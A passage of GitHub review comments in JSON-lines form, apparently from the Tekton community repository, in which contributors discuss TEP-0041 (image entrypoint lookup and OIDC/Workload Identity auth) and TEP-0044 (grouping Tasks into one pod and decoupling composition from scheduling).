that we DO support the scenario you are describing today\r\n\r\nThis is true, but I think there's still an issue here because we're inconsistent about how we handle OIDC based auth. The example @yaoxiaoqi gave highlights this - if we bypass the image lookup by passing in a `Command`, the pod will authenticate successfully with the container registry without `ImagePullSecret` because it's falling back to OIDC when performing the image fetch on the TaskRun pod using the TaskRuns service account. While the controller will also fallback to OIDC, it's using a different identity (the Pipeline controller service account) which isn't really expected by users.\r\n\r\nThis is likely the root cause of issues like https://github.com/tektoncd/pipeline/issues/2316. As OIDC becomes more common in Kubernetes (see https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#service-account-issuer-discovery) this will likely become more of a problem. ", "comment_id": 570433011, "created_at": "2021-02-04T18:01:18Z", "line": null, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "bobcatfish", "body": "If that is the problem that this TEP is trying to address, is it possible to update the TEP with a detailed description and example? I'm not familiar enough with OIDC or the flow you've described to be able to follow without more details (and the TEP as currently stated isn't as specific as what you're describing)", "comment_id": 570479440, "created_at": "2021-02-04T19:14:58Z", "line": null, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "skaegi", "body": "This is an immediate problem for us... in our Tekton environment we explicitly do not permit TaskRun pods to have access to the Kube API Service. e.g. accessing the Kube API is a \"privilege\" that we should not rely on.\r\n", "comment_id": 584961923, "created_at": "2021-03-01T18:44:58Z", "line": 115, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "yaoxiaoqi", "body": "Sorry I didn't put it clearly in the TEP. I updated the section after I did some experiments on entrypoint lookup and reproduced the issue https://github.com/tektoncd/pipeline/issues/2316 using GKE cluster. When Workload Identity enabled, user has to use tekton pipelines controller service account to impersonate the corresponding GSA since the request comes from controller pod. But users usually don't know they should do this and only bind the service account for the target pod to GSA. Billy gave a better explanation here https://wlyn.ch/posts/gcp-tekton-workload-identity/\r\nthe experiments I did lists below:\r\n| Cluster | Config | Image fetching Status | Note |\r\n|------|--------|----------|---------------|\r\n| minikube | Running registry in the cluster | Successful | Must ensure the connection between controller pod and registry pod first |\r\n| GKE | Workload identity disabled | Successful | GCE metadata server takes care of authentication |\r\n| GKE | Workload identity enabled | Failed | Only linked the target service account with GSA |\r\n| GKE | Workload identity enabled | Successful | Only linked the tekton pipelines controller service account with GSA |\r\n", "comment_id": 592440264, "created_at": "2021-03-11T15:08:44Z", "line": null, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "vdemeester", "body": "nit: identation is wrong here", "comment_id": 570877694, "created_at": "2021-02-05T10:42:11Z", "line": 207, "path": "teps/0043-common-expression-language-custom-task-celrun.md", "pr_number": 314, "repo": "community"} +{"author": null, "body": "A separate but similar problem (and possibly an additional use-case): an organization may have already decided on cloud buckets as their means of data sharing. Then Tekton comes along \"requiring\" k8s volumes and so the org is unable or unwilling to adopt Tekton.\r\n\r\nI've seen this reported in Slack as a downside of Workspaces though unfortunately don't have a Github issue / user report to point at.\r\n\r\nComposing a bucket-download Task with a build Task with a bucket-upload Task would go some way to solving those users' needs I think.", "comment_id": 563669938, "created_at": "2021-01-25T12:00:26Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": null, "body": "Looks like we're missing a bit here?", "comment_id": 563672078, "created_at": "2021-01-25T12:04:20Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "@skaegi would like to work on this as well", "comment_id": 563922642, "created_at": "2021-01-25T17:50:37Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "@skaegi if you have other use case plz add :D (anyone else too!)", "comment_id": 563923692, "created_at": "2021-01-25T17:52:09Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "+1", "comment_id": 564653135, "created_at": "2021-01-26T16:31:53Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "I guess it depends on how it is implemented - it may be possible to use `pipelineSpec` - but I agree this should not be a direct goal.", "comment_id": 564656712, "created_at": "2021-01-26T16:36:32Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "I'm not sure about this. I think the use case is fine, but \"all tasks should run even if one fails\" feels to me like a solution rather than a requirement.", "comment_id": 564660939, "created_at": "2021-01-26T16:41:53Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "Thank you for staring this \ud83d\ude4f \r\n\r\nI agree that we need a way to compose tasks that is more efficient than what we have today.\r\nI feel that the problem is not on the authoring side though, but on the runtime.\r\n\r\nToday we compose Tasks using Pipeline, which gives us a rich model (perhaps a bit verbose) to connect tasks through params, workspaces, results and more. In itself this model allows us to write highly re-usable tasks that can be combined into complex pipelines. The API is beta, and it has a reasonable level of adoption. \r\n\r\nOn the runtime side, when we execute a pipeline against a k8s cluster, we force each task to create a new Pod, which means that today - if we use catalog tasks - we need two pods and a pvc to do something like cloning a repo and building a container image. Some very common use cases like this were covered by pipeline resources; removing them from the pictures highlights the need for alternative runtime models.\r\n\r\nTo summarise, I think the solution to the problem highlighted in this TEP will not be a new way of composing tasks in YAML, but a new way to execute them on a k8s cluster.", "comment_id": 564688658, "created_at": "2021-01-26T17:19:25Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "pritidesai", "body": "Just to play devil's advocate \ud83d\ude08 , each of these catalog tasks `git-clone`, `golang-test`, are `gcs-upload` contains one single step which is clearly a bottleneck here. A task having more than one step makes it more efficient (one pod with multiple containers). Why not combining these tasks into one single task and encouraging users to design `efficient` tasks? And [TEP-0040](https://github.com/tektoncd/community/pull/302) can come to rescue here with the step failure i.e. all steps should run even if one fails. If needed, we can implement `scheduler` at the step level.", "comment_id": 564805525, "created_at": "2021-01-26T20:18:41Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "Although I agree that it might be more a runtime problem than an authoring problem, I feel there is room for both. \r\n\r\n> To summarise, I think the solution to the problem highlighted in this TEP will not be a new way of composing tasks in YAML, but a new way to execute them on a k8s cluster.\r\n\r\nThis would need to be very flexible as I think we may want to execute group of tasks in the same pod and other in different ones (and on different nodes too)", "comment_id": 565197672, "created_at": "2021-01-27T10:31:40Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "This is the core of the problem. `git-clone`, `golang-test` and `gcs-upload` may make sense to be defined as one \"bigger\" task for sure. But what if I want to run `golang-test` and `gcs-upload` from my local directory (packaged as an image and extracted in a volume somehow before the pipeline/task execution) ? Do I need to redefine another task and thus duplicate work, and most importantly duplicate maintenance on this *or* do I want to re-use community / team / \u2026 work and just refer to those definitions.", "comment_id": 565214581, "created_at": "2021-01-27T10:57:15Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "This use case is closer to what `knative/build` use-case was : a simple build composed of few steps that run in sequence. \r\n\r\nTbh, This is a really valid use-case and it would be interesting to see how much it needs to be supported. To make a parallel with our prow CI setup, this is basically what we would need to replicate the current behavior (one check == one job => would be equal one taskrun for *simplicity*)", "comment_id": 565219106, "created_at": "2021-01-27T11:04:08Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "I feel like folks might want to express this kind fo grouping at a Pipeline level. (In my mind Pipeline authoring straddles both \"authoring time\" and \"runtime\" cuz in some ways it's runtime configuration for TaskRuns.)\r\n\r\nI.e. you might want to create a Pipeline that groups some Tasks such that they are run on the same pod, and be able to reuse that, without having to express that grouping in every single PipelineRun\r\n\r\n", "comment_id": 566427061, "created_at": "2021-01-28T21:43:52Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "okay interesting! ill try to add a use case for this - let me know if you have any ideas how to expand it", "comment_id": 566429871, "created_at": "2021-01-28T21:48:49Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": ".... i dont know what the rest of this sentence was \ud83e\udd2d \ud83d\ude05 ill just delete it for now", "comment_id": 566430340, "created_at": "2021-01-28T21:49:38Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "after @jlpettersson 's comments I think I'll remove this as a non-goal, I think I was jumping to a conclusion too early", "comment_id": 566430719, "created_at": "2021-01-28T21:50:17Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "Another detail is that although there is just one step in each of them, in each case that step is running a script which is doing several things. If we wanted to integrate these into one Task, we'd need to copy paste that script around.\r\n\r\nWe have had the idea of reusable steps come up before: https://github.com/tektoncd/pipeline/issues/1260 I'm not sure if that would help here though b/c you'd probably want the step to be able to declare params/workspaces/results and I think it would end up looking like a Task with a different name (tho you'd be able to combine the steps together?)", "comment_id": 566435320, "created_at": "2021-01-28T21:58:38Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "hmm I wonder how I can word this - I'm trying to express that in the unit test use case, if the test task fails, you want to still upload results. if we used \"pipeline in a pod\" as the solution to this, we could accomplish that with finally.\r\n\r\ni'm gonna reword this as \"It should be possible to have Tasks that run even if others fail\" (starting to overlap with the exit code tep!! \ud83d\ude05 ). lemme know what you think!", "comment_id": 566436440, "created_at": "2021-01-28T22:00:39Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "skaegi", "body": "\"create a Pipeline that groups some Tasks such that they are run on the same pod\" -- this is exactly what our teams have been asking us for. Their issue is that if we write fine-grained tasks to promote re-use in our task catalogs we incur a roughly 10 or so second overhead when running a sequence of Tasks. @afrittoli's point about doing the task/pod aggregation automatically is definitely interesting but I would be delighted to be able to do this manually as a first step. ", "comment_id": 567463639, "created_at": "2021-01-31T18:18:07Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "skaegi", "body": "re: buckets -- that's interesting. As an operator I can confirm that allocating the sort of short-lived PVCs typically needed by a pipeline is a real pain. A Task that uploads/downloads to a bucket as a pre/post Task might be useful to eliminate the need for a Pipeline PVC. ", "comment_id": 567465228, "created_at": "2021-01-31T18:30:41Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "skaegi", "body": "Finding a path forward for the PipelineResources use-cases is really important to us. If a mutating admission webhook could be used to transform existing use of PipelineResources into a pre and post Task that would provide a backwards compatible story while letting the runtime remove support.", "comment_id": 567467377, "created_at": "2021-01-31T18:49:11Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "skaegi", "body": "This is the big-one for us... when we create a pod we also have to create a secure container runtime to host it in a new light-weight Kata Containers VM. Grouping Tasks also provides some logical semantic relief in addition to performance benefits. We currently are running a sequence of 50 Tasks and suspect even if we could group all 50 into a single pod there might still be semantic value in running this is a 5 coarse grained tasks instead.", "comment_id": 567468717, "created_at": "2021-01-31T19:00:11Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "skaegi", "body": "Even if an organization is willing to use PVCs it would be good to able to limit their requirement.", "comment_id": 567468958, "created_at": "2021-01-31T19:02:38Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "skaegi", "body": "Hmm... I wonder if the Conditions case where it needs to use an image could also be re-cast as a pre-Task using a mutating admission webhook to let us also remove Conditions from the runtime.", "comment_id": 567469640, "created_at": "2021-01-31T19:08:12Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "skaegi", "body": "- not a new use-case per se but the authoring experience for writing parallel task sequences is simpler. We have a common 3 tasks sequence that -- (fetches git credentials, clones repo, validates compliance) that are treated as a block. The parallel spread and join are much easier to understand if we can group the tasks together.", "comment_id": 567470428, "created_at": "2021-01-31T19:15:23Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "skaegi", "body": "I like what this requirement is suggesting just that I'm just not sure if it is essential to this particular TEP. Are we saying that \"when\" and \"finally\" support is required or something different?", "comment_id": 567470988, "created_at": "2021-01-31T19:19:28Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "if we allow grouping of Tasks, but we stop executing that group once one of them fails, we can't use this solution for the use case where we want to do something after failure\r\n\r\n(for example \"output\" pipelineresources today do no execute if the steps fail - which limits how useful they can be)", "comment_id": 570569267, "created_at": "2021-02-04T21:53:36Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "I've added a use case about limiting PVC use", "comment_id": 571031359, "created_at": "2021-02-05T15:04:02Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "I've added a point under Goals about providing a migration path.\r\n\r\nI'd caution though that pre and post Tasks is only one possible solution, another possible solution is to provide a scheduling mechanism that lets Tasks run together on the same pod (e.g. a Pipeline on one pod).\r\n\r\nBut I'm getting ahead of myself - we can start exploring solutions once we get this problem statement merged :D", "comment_id": 571031761, "created_at": "2021-02-05T15:04:35Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "jlpettersson", "body": "In https://github.com/tektoncd/community/pull/318 this \"grouping/composition\" is done by the fact that the Tasks **share workspace** - so no new things for the Pipeline author - perhaps other than using an emtpyDir-workspace instead of a PVC-workspace in the PipelineRun.\r\n\r\nOther than this, the _Requirements_ of these two TEPs is quite aligned now. ", "comment_id": 571686789, "created_at": "2021-02-07T20:17:35Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "@jlpettersson do these look accurate to you?", "comment_id": 582326367, "created_at": "2021-02-24T21:43:41Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "jlpettersson", "body": "Yes, they look good. Except that my view is that TEP-0046 is also about deciding this at Pipeline Authoring time - not at runtime. E.g. the initial version: If two tasks is used in the same Pipeline (and Tekton is configured for the mode in TEP-0046) - then that whole Pipeline would execute within the same Pod. Maybe we misunderstand eachother about this?", "comment_id": 583259821, "created_at": "2021-02-25T22:52:48Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "@jlpettersson i think my confusion is the line [\"No changes in the Pipeline or Task API for authors\"](https://github.com/tektoncd/community/pull/318#discussion_r582316051)\r\n\r\nI interpreted this to mean that you'd specify in the PipelineRun that you wanted the entire thing to execute in one pod, i.e. I could write a Pipeline and I could run it as one if I wanted, or I could choose to execute it in multiple pods.\r\n\r\nOr maybe you're saying this would be configured at the Controller level, and wouldn't be configured at runtime (in the PipelineRun) OR at authoring time (in the pipeline)?", "comment_id": 583914723, "created_at": "2021-02-26T20:59:46Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "jlpettersson", "body": "Yes, \"configured at the Controller level\" is the correct wording for what I meant - at least until this feature is more mature. I'm not against other solutions, but I think it would be good to do that choice later when we see how things goes. My main wish is to solve the concurrency-problem for Tasks in Pipelines. (In my view that problem is the same as affinity-assistant-problem)\r\n\r\nAnd in-case this mode support multiple Pods, then at least the Tasks that share a Pipeline-workspace of type `emptyDir` (or a new specific) must execute within the same Pod. This is also at Pipeline authoring time.\r\n\r\nSo I am not against to have a choice to enable this as a PipelineRun choice in future, but I think it would be good to have it as an experimental thing without API introductions initially.", "comment_id": 583925500, "created_at": "2021-02-26T21:23:09Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "Ah kk, thanks for explaining, that also makes the distinction between the two TEPs pretty clear - I've added some more detail trying to explain why in this TEP I think it's important to be able to provide this configuration at authoring time.", "comment_id": 584760216, "created_at": "2021-03-01T14:36:25Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "nit: I would still remove this \ud83d\ude05 ", "comment_id": 586603295, "created_at": "2021-03-03T17:00:41Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "`s/thing/storage` maybe ?", "comment_id": 586604215, "created_at": "2021-03-03T17:01:23Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "Yes, this shouldn't be a primary goal for this TEP. It is important that we provide a migration part, but we don't have to overly think about it now.", "comment_id": 586607894, "created_at": "2021-03-03T17:04:43Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "I am still fuzzy about this one. \"I want to build an image but I want to clone the source code first\", is _two units_ for me, thus, make sense to be a pipeline. \r\nThe fact that it adds overhead at runtime is one thing. The fact that it makes it more verbose (maybe) is another.\r\n\r\nWe already have a way to compose `Task` today, and it is called `Pipeline`. How pipeline run, with what overhead is one problem to tackle, make the authoring less verbose/more intuitive might be another. Not sure adding another level of compos-ability something we wanna do. \r\n\r\n_I am thinking outlood._", "comment_id": 586610695, "created_at": "2021-03-03T17:08:23Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "Should we be more detailed here ? \"some of the features\" is really blury to me \ud83d\ude05 ", "comment_id": 586612332, "created_at": "2021-03-03T17:10:24Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "Do we agree on the following ?\r\n- Authoring time: writing `Task` or `Pipeline` (definition types)\r\n- Runtime _time_: executing those `Task`/`Pipeline`, thus writing `PipelineRun` or `TaskRun`\r\n- Controller level : an option on the controller to change behavior", "comment_id": 586631052, "created_at": "2021-03-03T17:34:44Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "\"external volume\" here stands for \"anything that is not an `emptydir` (aka local to the pod)\" ? ", "comment_id": 586632738, "created_at": "2021-03-03T17:36:58Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "I don't really understand. Isn't this a different topic that would be cover by other TEP (I think of https://github.com/tektoncd/community/pull/342 and https://github.com/tektoncd/community/pull/258) ?", "comment_id": 586636172, "created_at": "2021-03-03T17:40:59Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "ive tried to add some more lines to explain this - the key is that those TEPs have nothing to do with how the Task is scheduled; this requirement is trying to make sure that the \"on error\" task can run in the same pod as the task that failed (i.e. avoid one of the mistakes we made with pipelineresources)", "comment_id": 587809540, "created_at": "2021-03-04T20:39:56Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "yep that's right, i can try to update this to be more clear", "comment_id": 587809773, "created_at": "2021-03-04T20:40:19Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "yep that's right! https://github.com/tektoncd/community/blob/main/design-principles.md#reusability tries to define runtime vs authoring time, let me know if you think we should reword that to make it more clear (we could add controller level too, if its not already clear)", "comment_id": 587809787, "created_at": "2021-03-04T20:40:20Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "i think it's specifically \"Task adapters/specialization\" mentioned in the doc, ill mention that", "comment_id": 587809815, "created_at": "2021-03-04T20:40:23Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "ill just remove this", "comment_id": 587809843, "created_at": "2021-03-04T20:40:27Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "Note that [TEP-0054](https://github.com/tektoncd/community/pull/369) is solving this use case.", "comment_id": 588050175, "created_at": "2021-03-05T05:54:17Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "So one thing that bothers me now is : \"Composing Tasks within Tasks\" is part of the non-goal **but** the name of the TEP is literraly : _Composing Tasks with Tasks_.", "comment_id": 589367234, "created_at": "2021-03-08T11:54:21Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "the non-goal is the \"at task authoring time\" part, the goal is still to compose tasks with tasks, just not while writing a task", "comment_id": 589506562, "created_at": "2021-03-08T15:24:02Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "vdemeester", "body": "Then Composing Tasks with Task doesn't make sense to me. If it's not at \"authoring time\", then, it's composing Tasks in Taskrun or something, right ?", "comment_id": 589544606, "created_at": "2021-03-08T16:08:53Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "\"authoring time\" could be when authoring a Task or when authoring a Pipeline. I'm trying to say that this scope of this TEP is _Pipeline Authoring time_, but not _Task authoring time_", "comment_id": 589686572, "created_at": "2021-03-08T19:24:19Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "I was also trying to leave it vague in order to be open to the possibility that what we're missing is some other unit of composition - the point of this non-goal was to say that we don't want to use tasks with tasks inside of the Task CRD", "comment_id": 589687076, "created_at": "2021-03-08T19:25:13Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "anyway ill try to completely reword this to be more clear", "comment_id": 589688097, "created_at": "2021-03-08T19:26:58Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "@ImJasonH plz help i think i totally butchered this example XD", "comment_id": 589778906, "created_at": "2021-03-08T21:59:49Z", "line": null, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jerop", "body": "can the finally/after Tasks be guarded? what about the init Tasks?", "comment_id": 590466192, "created_at": "2021-03-09T15:23:25Z", "line": 236, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jerop", "body": "could we provide a way for users to opt in in the pipeline level?", "comment_id": 590470784, "created_at": "2021-03-09T15:28:23Z", "line": 422, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jerop", "body": "a related alternative would be to define the \"group\" as a subpipeline that would be executed as one pod, instead of creating a new way to group tasks ", "comment_id": 590474245, "created_at": "2021-03-09T15:32:01Z", "line": 430, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jerop", "body": "at which level(s) would whenexpressions fit in this example? would it guard `Foobar`, each of the `foobars` or `steps`? (recently saw a user asking to guard steps with whenexpressions)", "comment_id": 590480370, "created_at": "2021-03-09T15:38:55Z", "line": 732, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "bobcatfish", "body": "thats a great idea! i wonder how we'd handle it if that pipeline itself had a sub pipeline \ud83e\udd14 i guess we could either not allow it, or just put it all on the same pod in that case?", "comment_id": 590675520, "created_at": "2021-03-09T19:56:18Z", "line": 430, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jerop", "body": "for reusability, we could allow nesting and we execute all in the same pod ", "comment_id": 590734319, "created_at": "2021-03-09T21:31:29Z", "line": 430, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "jerop", "body": "makes me wonder, is `Tasks` in this TEP inclusive of `Custom Tasks`? ", "comment_id": 590734660, "created_at": "2021-03-09T21:32:08Z", "line": 430, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "Related: https://github.com/tektoncd/community/pull/290 (by @sbwsg)\r\n\r\nObject storage would have a few advantages compared to PVC:\r\n- zero provisioning time\r\n- it only uses the space needed, so if pipeline run is not deleted right-away, there's no unused allocated storage left around\r\n- it's easier to access. It would be possible to even integrate into the CLI or dashboard the ability to list / view the content of the bucket, which would be a great help for troubleshooting :)\r\n\r\nIt might be slower performance-wise, it depends there the object storage is located too. \r\nOperator could ship a preconfigured minio as optional component, or we could have an installation with minio guide.", "comment_id": 591310388, "created_at": "2021-03-10T10:11:07Z", "line": null, "path": "teps/0044-composing-tasks-with-tasks.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "+1 I like the new title / summary for this TEP!! \u2764\ufe0f ", "comment_id": 591320945, "created_at": "2021-03-10T10:21:28Z", "line": 27, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": " +\ud83d\udcaf \r\n\r\nI think one goal of Tekton should be to provide a good opinionated scheduling default that works for simple cases, and let users override it at pipeline authoring time to satisfy special requirements.\r\n\r\nMy line of thought here is that I wouldn't want for force authors (and DSLs?) to think about the scheduling issue unless they need to. If I write a clone / build / push pipeline, it should be easy to do that in a way that doesn't create unnecessary overhead, without having to make scheduling specific decisions in the pipeline definition. \r\n\r\nIf we don't want to take an opinion in the controller logic, an alternate way to achieve that could be through the catalog. What used to be git resource + build-and-push task + image resource could be a pipeline with three tasks, tailored to be efficient, available in the catalog. We would need then to have a strong composability story to back this, i.e. move the pipelines-in-pipelines experiment into the core API, so that one might consume pipelines from the catalog as if they were tasks.", "comment_id": 591331011, "created_at": "2021-03-10T10:31:11Z", "line": 47, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "This is targeted to a very specific set of use cases, so to do something else we'd need a different solution - but still might still be valuable anyways? The syntax is nice and compact, as we could decide that it's the way it is, anything beyond this requires a PVC or a different solution...", "comment_id": 591535570, "created_at": "2021-03-10T13:57:56Z", "line": 240, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "+1", "comment_id": 591538471, "created_at": "2021-03-10T14:00:38Z", "line": 342, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "If we had a way to set composition / scheduling rules, this could be a default behaviour when no rules are set.\r\nThe rules could even be added by a defaulting webhook, so that it become clear what decision the system has made for you. That would combine ease of use (no syntax change in many cases) with control and transparency.", "comment_id": 591543596, "created_at": "2021-03-10T14:05:38Z", "line": 421, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "A concern with this approach is that it might creating some scheduling challenges.\r\nIf we allow parallel execution of tasks in the pipeline, then we might need to request more resources, and if one groups too many tasks together then it might become difficult to schedule the task.\r\n\r\nOne possible solution here would be to only allow grouped tasks to be executed sequentially.\r\nIt would create a trade off between the time to allocate resources (pods, pvcs) and the time to run tasks sequentially...\r\n\r\nAnother idea could be to let pipeline authors express affinity between tasks i.e. the preference for them to be on the same node. In most cases the affinity could be implied by a shared workspace, but it could be enabled / disabled on demand by the pipeline author.", "comment_id": 591569632, "created_at": "2021-03-10T14:31:39Z", "line": 434, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "An alternative syntax would be to add groups as root spec element:\r\n```\r\ngroups:\r\n - [task1, task3]\r\n - [task3, task2, task5]\r\n```\r\n\r\nThat might make it easier to:\r\n- edit existing pipelines \r\n- support the same on a pipelinerun instead of pipeline. Note that a scheduling decision might depend on the feature of the infrastructure where the pipeline is executed, so it might be worth considering the ability of setting such rules in the run too", "comment_id": 591572584, "created_at": "2021-03-10T14:34:56Z", "line": 452, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "As you said earlier in the TEP, solutions may not be orthogonal - we might have both authoring and runtime approaches combined, correct?", "comment_id": 591574104, "created_at": "2021-03-10T14:36:34Z", "line": 514, "path": "teps/0044-decouple-task-composition-from-scheduling.md", "pr_number": 316, "repo": "community"} +{"author": "afrittoli", "body": "`emptyDir` could only be used at runtime, but another flag / label / group based syntax could be made available at 